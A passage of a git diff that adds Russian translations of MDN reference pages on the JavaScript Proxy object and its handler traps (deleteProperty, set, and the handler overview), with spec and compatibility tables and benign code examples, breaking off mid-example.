+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler.deleteProperty")}}</p>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Operators/delete", "delete")}} operator</li>
+ <li>{{jsxref("Reflect.deleteProperty()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/handler/index.html b/files/ru/web/javascript/reference/global_objects/proxy/handler/index.html
new file mode 100644
index 0000000000..eef887a246
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/handler/index.html
@@ -0,0 +1,134 @@
+---
+title: Proxy handler
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - NeedsTranslation
+  - Proxy
+  - TopicStub
+  - Прокси
+  - Русский
+  - ловушки
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>Объект-обработчик прокси - это объект, который содержит ловушки для {{jsxref("Proxy", "proxies", "", 1)}}.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Все ловушки ставятся по желанию разработчика.</span></span> <span class="ChMk0b JLqJ4b"><span>Если ловушка не была определена, то, по умолчанию, операция перенаправляется на исходный объект (target).</span></span></span></p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>Ловушка для {{jsxref("Object.getPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>Ловушка для {{jsxref("Object.setPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>Ловушка для {{jsxref("Object.isExtensible")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>Ловушка для {{jsxref("Object.preventExtensions")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Ловушка для {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>Ловушка для {{jsxref("Object.defineProperty")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</dt>
+ <dd>Ловушка для оператора {{jsxref("Operators/in", "in")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</dt>
+ <dd>Ловушка для получения значений из свойств.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</dt>
+ <dd>Ловушка для установки значений в свойства.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>Ловушка для оператора {{jsxref("Operators/delete", "delete")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>Ловушка для {{jsxref("Object.getOwnPropertyNames")}} и {{jsxref("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</dt>
+ <dd>Ловушка для вызова функции.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</dt>
+ <dd>Ловушка для оператора {{jsxref("Operators/new", "new")}}.</dd>
+</dl>
+
+<p>Некоторые нестандартные ловушки <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#Proxy">устарели и были удалены</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Определении при инициализации.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Обработчик <code>enumerate</code> был удален.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>49 [1]</td>
+   <td>{{ CompatGeckoDesktop("18") }}</td>
+   <td>12</td>
+   <td>{{CompatOpera(36)}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("18") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="https://www.chromestatus.com/features/4811188005240832">Разрешен по умолчанию</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/handler/set/index.html b/files/ru/web/javascript/reference/global_objects/proxy/handler/set/index.html
new file mode 100644
index 0000000000..88b030ecc4
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/handler/set/index.html
@@ -0,0 +1,179 @@
+---
+title: handler.set()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set
+tags:
+  - Прокси
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set
+---
+<div>{{JSRef}}</div>
+
+<p><span id="result_box" lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">Метод <strong>handler.set()</strong> является ловушкой для установки </span></span><span lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">значения </span></span><span id="result_box" lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">свойств</span></span><span lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">у</span></span><span lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">.</span></span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">var p = new Proxy(target, {
+  set: function(target, property, value, receiver) {
+  }
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><span id="result_box" lang="ru"><span>Следующие параметры передаются методу </span></span><code>set()</code> <span lang="ru"><span>.</span> </span><code>this</code><span lang="ru"><span> привязан к обработчику</span></span></p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Исходный обьект, который проксируется.</dd>
+ <dt><code>property</code></dt>
+ <dd><span id="result_box" lang="ru"><span>Имя свойства, в которое устанавливается значение </span></span><code>value</code><span lang="ru"><span>.</span></span></dd>
+ <dt><code>value</code></dt>
+ <dd><span id="result_box" lang="ru"><span>Значение, устанавливаемое в свойство </span></span><code>property</code><span lang="ru"><span>.</span></span></dd>
+ <dt><code>receiver</code></dt>
+ <dd><span id="result_box" lang="ru"><span>Объект, которому первоначально было присвоено задание.</span> <span>Обычно это сам прокси.</span> <span>Но обработчик </span></span><code>set()</code><span lang="ru"><span> также может быть вызван косвенно, через цепочку прототипов или различными другими способами.</span><br>
+      <span>Например, предположим, что скрипт выполняет </span></span><code><var>obj</var>.name = "jen"</code><span lang="ru"><span>, при этом </span></span><code><var>obj</var></code><span lang="ru"><span> не является прокси и не имеет собственного свойства </span></span><code>.name</code><span lang="ru"><span>, но имеет прокси в цепочке прототипов.</span> Б<span>удет вызван обработчик прокси </span></span><code>set()</code><span lang="ru"><span> , а </span></span><code><var>obj</var></code><span lang="ru"><span> будет передан в качестве получателя.</span></span></dd>
+ <dd></dd>
+</dl>
+
+<h3 id="Возвращаемые_результаты">Возвращаемые результаты</h3>
+
+<p>Метод <code>set</code> <span id="result_box" lang="ru"><span>должен возвращать boolean значение</span></span>.</p>
+
+<ul>
+ <li>Возвращает <code>true</code>, если <span id="result_box" lang="ru"><span>присвоение выполнено успешно</span></span>.</li>
+ <li>Если метод <code>set()</code> возвращает <code>false</code>, <span id="result_box" lang="ru"><span>а присваивание произошло в коде строгого режима, то будет выброшена</span></span> {{jsxref("TypeError")}}.</li>
+</ul>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code><strong>handler.set</strong></code> <span id="result_box" lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">является ловушкой для установки </span></span><span lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">значения </span></span><span id="result_box" lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">свойств</span></span><span lang="ru"><span title="The handler.set() method is a trap for setting a property value.
+">у</span></span>.</p>
+
+<h3 id="Перехват">Перехват</h3>
+
+<p>Эта ловушка может перехватывать следующие операции:</p>
+
+<ul>
+ <li>Установка значения свойству: <code>proxy[foo] = bar</code> and <code>proxy.foo = bar</code></li>
+ <li>Установка значения наследованному свойству: <code>Object.create(proxy)[foo] = bar</code></li>
+ <li>{{jsxref("Reflect.set()")}}</li>
+</ul>
+
+<h3 id="Инварианты">Инварианты</h3>
+
+<p>Если нарушены следующие инваринаты, то proxy выбросит {{jsxref("TypeError")}}:</p>
+
+<ul>
+ <li><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Невозможно изменить значение свойства так, чтобы оно отличалось от значения соответствующего свойства целевого объекта, если соответствующее свойство целевого объекта не является доступным для записи и не настраиваемым свойством данных.</span></span></span></li>
+ <li><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Невозможно установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым свойством средства доступа, для которого в качестве атрибута [[Set]] указано значение undefined.</span></span></span></li>
+ <li><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>В строгом режиме при возврате из обработчика </span></span></span><code>set()</code><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span> значения </span></span></span><code>false</code><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>, будет выброшено исключение {{jsxref ("TypeError")}}</span></span></span>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Следующий код перехватывает установку значения свойству</span></span></span><span lang="ru"><span>.</span></span></p>
+
+<pre class="brush: js notranslate">var p = new Proxy({}, {
+  set: function(target, prop, value, receiver) {
+    target[prop] = value
+    console.log('property set: ' + prop + ' = ' + value)
+    return true
+  }
+})
+
+console.log('a' in p)  // false
+
+p.a = 10               // "property set: a = 10"
+console.log('a' in p)  // true
+console.log(p.a)       // 10
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("61")}}</td>
+   <td>{{CompatGeckoDesktop("18")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("18")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Reflect.set()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/index.html b/files/ru/web/javascript/reference/global_objects/proxy/index.html
new file mode 100644
index 0000000000..2d8e5ae557
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/index.html
@@ -0,0 +1,482 @@
+---
+title: Прокси
+slug: Web/JavaScript/Reference/Global_Objects/Proxy
+tags:
+  - ECMAScript6
+  - JavaScript
+  - NeedsUpdate
+  - Reference
+  - Объект
+  - Прокси
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div><font><font>Объект </font></font><code>Proxy</code><font><font> позволяет создать прокси</font><font> для другого объекта, может перехватывать и переопределить основные операции для данного объекта.</font></font></div>
+
+<h2 id="Введение">Введение</h2>
+
+<p>Прокси используются программистами для объявления расширенной семантики JavaScript объектов. Стандартная семантика реализована в движке JavaScript, который обычно написан на низкоуровневом языке программирования, например C++. Прокси позволяют программисту определить поведение объекта при помощи JavaScript. Другими словами они являются <strong>инструментом метапрограммирования</strong>.</p>
+
+<p><strong>Примечание</strong>: реализация прокси в SpiderMonkey является прототипом, в котором прокси API и семантика не стабильны. Также, реализация в SpiderMonkey может не соответствовать последней версии спецификации. Она может быть изменена в любой момент и предоставляется исключительно как экспериментальная функция. <strong>Не полагайтесь на неё в производственном коде.</strong></p>
+
+<p>Эта страница описывает новый API (называемый «непосредственным проксированием»), который является частью Firefox 18. Для просмотра старого API (Firefox 17 и ниже) посетите страницу описания <a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">старого прокси API</a>.</p>
+
+<h2 id="Терминология">Терминология</h2>
+
+<dl>
+ <dt>механизм полного перехвата (или "intercession API")</dt>
+ <dd>Технический термин для этой функции.</dd>
+ <dt>прокси (proxy)</dt>
+ <dd>Объект, оборачивающий исходный объект.</dd>
+ <dt>обработчик (handler)</dt>
+ <dd>Объект-заменитель, содержащий ловушки. О<span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>пределяет, какие операции будут перехвачены, также переопределяет перехваченные операции.</span></span></span></dd>
+ <dt>ловушки (traps)</dt>
+ <dd>Методы, которые предоставляют доступ к свойствам. Это аналогично концепции ловушек в операционных системах.</dd>
+ <dt>цель (target)</dt>
+ <dd>Исходный объект, который виртуализируется прокси. Он часто используется в качестве источника данных в прокси. Для него проверяются инварианты относительно расширяемости и настраиваемости свойств.</dd>
+</dl>
+
+<h2 id="Прокси">Прокси</h2>
+
+<p>Прокси - это новые объекты; невозможно выполнить "проксирование" существующего объекта. Пример создания прокси:</p>
+
+<pre class="brush: js notranslate">var p = new Proxy(target, handler);
+</pre>
+
+<p>Где:</p>
+
+<ul>
+ <li><code>target</code> — исходный объект (может быть объектом любого типа, включая массив, функцию и даже другой прокси объект).</li>
+ <li><code>handler</code> — объект-обработчик, методы (ловушки) которого определяют поведение прокси во время выполнения операции над ним.</li>
+</ul>
+
+<h2 id="Обработчик">Обработчик</h2>
+
+<p>Все ловушки опциональны. В случае, если ловушка не задана, то стандартным поведением будет перенаправление операции к объекту-цели.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>JavaScript код</th>
+   <th>Метод обработчика</th>
+   <th>Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Object.getOwnPropertyDescriptor(proxy, name)</code></td>
+   <td><code><strong>getOwnPropertyDescriptor</strong><br>
+    function(target, name) -&gt; PropertyDescriptor | undefined</code></td>
+   <td>Должен возвращать верный объект-описание свойства или <code>undefined</code>, чтобы показать, что свойство с именем <code>name</code> существует в эмулируемом объекте.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>Object.getOwnPropertyNames(proxy)</code><br>
+     <code><code>Object.getOwnPropertySymbols(proxy)</code></code><br>
+     <code><code><code>Object.keys(proxy)</code></code></code></p>
+   </td>
+   <td><code><code><strong>ownKeys</strong></code> function(target) -&gt; [string | symbol]</code></td>
+   <td>Возвращает массив всех собственных (не унаследованных) имён свойств эмулируемого объекта.</td>
+  </tr>
+  <tr>
+   <td><code>Object.defineProperty(proxy,name,pd)</code></td>
+   <td><code><strong>defineProperty</strong> function(target, name, propertyDescriptor) -&gt; any</code></td>
+   <td>Задаёт новое свойство, атрибуты которого определяются предоставленным <code>propertyDescriptor</code>. Возвращаемое значение метода игнорируется.</td>
+  </tr>
+  <tr>
+   <td><code>delete proxy.name</code></td>
+   <td><code><strong>deleteProperty</strong> function(target, name) -&gt; boolean</code></td>
+   <td>Удаляет именованное свойство из прокси. Возвращает <code>true</code> в случае успешного удаления свойства <code>name</code>.</td>
+  </tr>
+  <tr>
+   <td><code>Object.preventExtensions(proxy)</code></td>
+   <td><code><strong>preventExtensions</strong> function(target) -&gt; boolean</code></td>
+   <td>Делает объект нерасширяемым. Возвращает <code>true</code> при успешном выполнении.</td>
+  </tr>
+  <tr>
+   <td><code>name in proxy</code></td>
+   <td><code><strong>has</strong> function(target, name) -&gt; boolean</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>proxy.name</code> (in the context of "getting the value")</p>
+
+    <p><code>receiver.name</code> (if <code>receiver</code> inherits from a proxy and does not override <code>name</code>)</p>
+   </td>
+   <td><code><strong>get</strong> function(target, name, receiver) -&gt; any</code></td>
+   <td><code>receiver</code> — это прокси или объект, унаследованный от прокси.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>proxy.name = val</code> (in the context of "setting the value")</p>
+
+    <p><code>receiver.name = val</code> (if <code>receiver</code> inherits from a proxy and does not override <code>name</code>)</p>
+   </td>
+   <td><code><strong>set</strong> function(target, name, val, receiver) -&gt; boolean</code></td>
+   <td><code style="font-style: normal;">receiver</code> — это прокси или объект, унаследованный от прокси.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>proxy(...args)<br>
+     proxy.apply(thisValue, args)<br>
+     proxy.call(thisValue, ...args)</code></p>
+   </td>
+   <td><code><strong>apply</strong> function(target, thisValue, args) -&gt; any</code></td>
+   <td><code>target</code> должен быть функцией.</td>
+  </tr>
+  <tr>
+   <td><code>new proxy(...args)</code></td>
+   <td><code><strong>construct</strong> function(target, args) -&gt; object</code></td>
+   <td><code>target</code> должен быть функцией.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Инварианты">Инварианты</h2>
+
+<p>Несмотря на то, что прокси предоставляют много возможностей пользователям, некоторые операции не перехватываются для сохранения постоянства языка:</p>
+
+<ul>
+ <li>Простой и строгий оператор равенства (<code>==</code>, <code>===</code>) не перехватывается. <code>p1 === p2</code> равны, только если <code>p1</code> и <code>p2</code> ссылаются на один и тот же прокси.</li>
+ <li>Текущая реализация <code>Object.getPrototypeOf(proxy)</code> всегда возвращает <code>Object.getPrototypeOf(target)</code>, потому что в ES2015 перехватчик getPrototypeOf пока не реализован.</li>
+ <li><code>typeof proxy</code> всегда возвращает  <code>typeof target</code>. В частности, <code>proxy</code> может быть использован как функция только если <code>target </code>является функцией.</li>
+ <li><code>Array.isArray(proxy)</code> всегда возвращает  <code>Array.isArray(target)</code>.</li>
+ <li><code>Object.prototype.toString.call(proxy)</code> всегда возвращает <code>Object.prototype.toString.call(target)</code>, потому что в  ES2015 перехватчик Symbol.toStringTag пока не реализован.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<p>Объект, возвращающий значение <code>37</code>, в случае отсутствия свойства с указанным именем:</p>
+
+<pre class="brush: js notranslate">var handler = {
+    get: function(target, name){
+        return name in target?
+            target[name] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="Перенаправляющий_прокси">Перенаправляющий прокси</h3>
+
+<p>В данном примере мы используем JavaScript объект, к которому наш прокси направляет все запросы:</p>
+
+<pre class="brush: js notranslate">var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // операция перенаправлена прокси
+
+console.log(target.a); // 37. Операция была успешно перенаправлена
+</pre>
+
+<h3 id="Проверка">Проверка</h3>
+
+<p>При помощи <code>Proxy</code> вы можете легко проверять передаваемые объекту значения:</p>
+
+<pre class="brush: js notranslate">let validator = {
+  set: function(obj, prop, value) {
+    if (prop === 'age') {
+      if (!Number.isInteger(value)) {
+        throw new TypeError('The age is not an integer');
+      }
+      if (value &gt; 200) {
+        throw new RangeError('The age seems invalid');
+      }
+    }
+
+    // Стандартное сохранение значения
+    obj[prop] = value;
+  }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // Вызовет исключение
+person.age = 300; // Вызовет исключение
+</pre>
+
+<h3 id="Дополнение_конструктора">Дополнение конструктора</h3>
+
+<p>Функция прокси может легко дополнить конструктор новым:</p>
+
+<pre class="brush: js notranslate">function extend(sup, base) {
+    var descriptor = Object.getOwnPropertyDescriptor(
+        base.prototype, 'constructor',
+    );
+
+    const prototype = {...base.prototype}
+
+    base.prototype = Object.create(sup.prototype);
+    base.prototype = Object.assign(base.prototype, prototype);
+
+    var handler = {
+        construct: function(target, args) {
+            var obj = Object.create(base.prototype);
+            this.apply(target, obj, args);
+            return obj;
+        },
+        apply: function(target, that, args) {
+            sup.apply(that, args);
+            base.apply(that, args);
+        },
+    };
+    var proxy = new Proxy(base, handler);
+    descriptor.value = proxy;
+    Object.defineProperty(base.prototype, 'constructor', descriptor);
+    return proxy;
+}
+
+var Person = function(name) {
+    this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+    this.age = age;
+});
+
+Boy.prototype.sex = 'M';
+
+var Peter = new Boy('Peter', 13);
+console.log(Peter.sex); // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age); // 13
+</pre>
+
+<h3 id="Манипуляция_DOM_элементами">Манипуляция<span style="font-size: 1.71428571428571rem;"> DOM </span><span style="font-size: 1.71428571428571rem;">элементами</span></h3>
+
+<p>Иногда возникает необходимость переключить атрибут или имя класса у двух разных элементов:</p>
+
+<pre class="brush: js notranslate">let view = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, newval) {
+    let oldval = obj[prop];
+
+    if (prop === 'selected') {
+      if (oldval) {
+        oldval.setAttribute('aria-selected', 'false');
+      }
+      if (newval) {
+        newval.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // Стандартное сохранение значения
+    obj[prop] = newval;
+  }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'
+</pre>
+
+<h3 id="Изменение_значений_и_дополнительные_свойства">Изменение значений и дополнительные свойства</h3>
+
+<p>Прокси объект <code>products</code> проверяет передаваемые значения и преобразует их в массив в случае необходимости. Объект также поддерживает дополнительное свойство <code>latestBrowser</code> на чтение и запись.</p>
+
+<pre class="brush: js notranslate">let products = new Proxy({
+  browsers: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // Дополнительное свойство
+    if (prop === 'latestBrowser') {
+      return obj.browsers[obj.browsers.length - 1];
+    }
+
+    // Стандартный возврат значения
+    return obj[prop];
+  },
+  set: function(obj, prop, value) {
+    // Дополнительное свойство
+    if (prop === 'latestBrowser') {
+      obj.browsers.push(value);
+      return;
+    }
+
+    // Преобразование значения, если оно не массив
+    if (typeof value === 'string') {
+      value = [value];
+    }
+
+    // Стандартное сохранение значения
+    obj[prop] = value;
+  }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // передаётся как строка (по ошибке)
+console.log(products.browsers); // ['Firefox'] &lt;- проблем нет, значение - массив
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'
+</pre>
+
+<h3 id="Поиск_элемента_массива_по_его_свойству">Поиск элемента массива по его свойству</h3>
+
+<p>Данный прокси расширяет массив дополнительными возможностями. Как вы видите, вы можете гибко "задавать" свойства без использования <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. Данный пример также может быть использован для поиска строки таблицы по её ячейке. В этом случае целью будет <a href="/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p>
+
+<pre class="brush: js notranslate">let products = new Proxy([
+  { name: 'Firefox', type: 'browser' },
+  { name: 'SeaMonkey', type: 'browser' },
+  { name: 'Thunderbird', type: 'mailer' }
+],
+{
+  get: function(obj, prop) {
+    // Стандартное возвращение значения; prop обычно является числом
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // Получение количества продуктов; псевдоним products.length
+    if (prop === 'number') {
+      return obj.length;
+    }
+
+    let result, types = {};
+
+    for (let product of obj) {
+      if (product.name === prop) {
+        result = product;
+      }
+      if (types[product.type]) {
+        types[product.type].push(product);
+      } else {
+        types[product.type] = [product];
+      }
+    }
+
+    // Получение продукта по имени
+    if (result) {
+      return result;
+    }
+
+    // Получение продуктов по типу
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // Получение типов продуктов
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+</pre>
+
+<h3 id="Пример_использования_всех_перехватчиков">Пример использования всех перехватчиков</h3>
+
+<p>В данном примере, использующем все виды перехватчиков, мы попытаемся проксировать <em>не нативный</em> объект, который частично приспособлен для этого - <code>docCookies,</code> созданном в разделе <a href="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">"little framework" и опубликованном на странице <code>document.cookie</code></a>.</p>
+
+<pre class="brush: js notranslate">/*
+  var docCookies = ... получить объект "docCookies" можно здесь:
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  "get": function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  "set": function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  "deleteProperty": function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  "enumerate": function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  "iterate": function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  "ownKeys": function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  "has": function (oTarget, sKey) {
